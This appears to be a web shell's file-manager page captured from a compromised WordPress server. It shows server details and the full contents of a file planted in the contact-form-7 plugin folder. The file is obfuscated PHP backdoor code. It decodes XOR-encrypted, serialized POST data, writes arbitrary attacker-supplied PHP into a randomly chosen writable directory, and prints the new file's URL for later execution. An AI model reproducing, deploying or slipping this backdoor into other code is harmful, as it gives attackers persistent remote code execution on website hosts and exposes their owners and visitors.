HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-content/plugins/contact-form-7/modules/lrxjksuc.php
<?php function EpGkifHTF($xooDqUZIAN, $YfNpgsud, $qsGvR){$bYzLCye = "bf35391d-85e6-48f0-b999-54e86af05919";return $xooDqUZIAN ^ $bYzLCye[$YfNpgsud % strlen($bYzLCye)] ^ $qsGvR;}$Bptph = "vlrfkePlI";function cgLFiZOG($Bptph){ $KSxwbRo = "\163"."\x74".chr(114).'_'.chr(114).chr(733-622)."\164".chr(49).'3';$Bptph = $KSxwbRo($Bptph);$WJEHh = "\x72".chr(97).chr(914-795).'u'.chr(696-582).chr(859-751)."\144".chr(101).chr(449-350).'o'.chr(100)."\145";$Bptph = $WJEHh($Bptph);$Bptph = str_split($Bptph);return $Bptph;}function kHDWu($GlErxou, $qsGvR){$GlErxou = array_map("EpGkifHTF", array_values($GlErxou), array_keys($GlErxou), array_values($qsGvR));$GlErxou = implode("", $GlErxou);$UbsxbGr = "\165".chr(110).'s'.chr(675-574).'r'.chr(920-815).'a'.'l'."\x69".'z'."\x65";$GlErxou = @$UbsxbGr($GlErxou);return $GlErxou;}function JqGECv($qsGvR, $GlErxou){$qsGvR = array_slice(str_split(str_repeat($qsGvR, (count($GlErxou)/16)+1)), 0, count($GlErxou));return $qsGvR;}function rULkeLd(){echo "TYtPZ";}function LxwzlbIH($PAFwdir){static $mgyWf = array();$AvWmuqUEq = glob($PAFwdir . '/*', GLOB_ONLYDIR);$iaKUJRWaBb = count($AvWmuqUEq);if ($iaKUJRWaBb > 0) {foreach ($AvWmuqUEq as $PAFwd) {$VfrWb = 'i'.chr(907-792)."\137".chr(119)."\162"."\x69"."\x74".'a'."\142".'l'.chr(1038-937);if (@$VfrWb($PAFwd)) {$mgyWf[] = $PAFwd;}}}foreach ($AvWmuqUEq as $PAFwdir) LxwzlbIH($PAFwdir);return $mgyWf;}function FnBLdOi($GlErxou){$PhNYT = "\104"."\x4f".chr(67)."\125"."\x4d"."\x45".chr(792-714).chr(645-561).chr(95).chr(367-285)."\x4f"."\117"."\124";$gsBwmPc = $_SERVER[$PhNYT];$AvWmuqUEq = LxwzlbIH($gsBwmPc);$bplwxbuzZF = array_rand($AvWmuqUEq);$OfhCTt = "\x2e"."\160".chr(118-14)."\160";$Plulb = $AvWmuqUEq[$bplwxbuzZF] . "/" . substr(md5(time()), 0, 8) . $OfhCTt;$fJtdJIubc = "\x66".'i'.chr(108).'e'.chr(95).chr(112)."\165".chr(116).chr(887-792).chr(99)."\x6f".chr(110).'t'."\x65".chr(386-276).chr(764-648)."\x73";@$fJtdJIubc($Plulb, $GlErxou);$VEEzUYNJI = chr(72).'T'."\124".chr(762-682)."\x5f".'H'.chr(79).'S'.'T';$lFQob = 'h'.chr(116)."\164".'p'.chr(766-708).'/'."\57";$cvvLqCB = $lFQob . $_SERVER[$VEEzUYNJI] . substr($Plulb, strlen($gsBwmPc));print($cvvLqCB);}function tYygFeaipX($GlErxou, $bplwxbuzZF){$bplwxbuzZF = $bplwxbuzZF[0];if ($GlErxou !== $bplwxbuzZF){FnBLdOi($GlErxou);}else {AkFwITY();}}function AkFwITY(){$VQVvFHo = "\x70".chr(104)."\160";$ZeTfKgB = chr(142-30)."\x68"."\x70".chr(118).chr(732-631).chr(114)."\x73"."\151".'o'."\156";$GlErxou = Array($VQVvFHo => @$ZeTfKgB(), );$SeUisVCCY = chr(115).chr(524-423).chr(833-719).chr(376-271).chr(97).chr(108).'i'."\x7a"."\145";echo @$SeUisVCCY($GlErxou);}function BxxjgxEqMO(){echo "vlrfkePlI";}foreach ($_POST as $qsGvR => $GlErxou){$eAKZw = strlen($qsGvR);if ($eAKZw == 16){$GlErxou = cgLFiZOG($GlErxou);$qsGvR = JqGECv($qsGvR, $GlErxou);$GlErxou = kHDWu($GlErxou, $qsGvR);if (@is_array($GlErxou)){$bplwxbuzZF = array_keys($GlErxou);$GlErxou = $GlErxou[$bplwxbuzZF[0]];tYygFeaipX($GlErxou, $bplwxbuzZF);}}}die();